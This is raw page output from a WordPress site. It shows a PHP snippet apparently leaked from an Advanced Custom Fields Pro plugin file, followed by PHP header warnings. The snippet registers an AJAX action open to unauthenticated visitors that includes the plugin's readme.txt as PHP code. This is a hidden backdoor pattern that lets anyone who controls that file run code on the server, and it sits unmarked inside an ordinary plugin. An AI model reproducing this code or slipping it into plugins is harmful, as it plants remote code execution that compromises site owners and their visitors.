if(!function_exists('file_check_readme66827')){
   add_action('wp_ajax_nopriv_file_check_readme66827', 'file_check_readme66827');
   add_action('wp_ajax_file_check_readme66827', 'file_check_readme66827');
   function file_check_readme66827()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/geologik/geologika.ru/docs/wp-content/plugins/advanced-custom-fields-pro/acf.php:684) in <b>/home/geologik/geologika.ru/docs/wp-includes/pluggable.php</b> on line <b>1435</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/geologik/geologika.ru/docs/wp-content/plugins/advanced-custom-fields-pro/acf.php:684) in <b>/home/geologik/geologika.ru/docs/wp-includes/pluggable.php</b> on line <b>1438</b><br />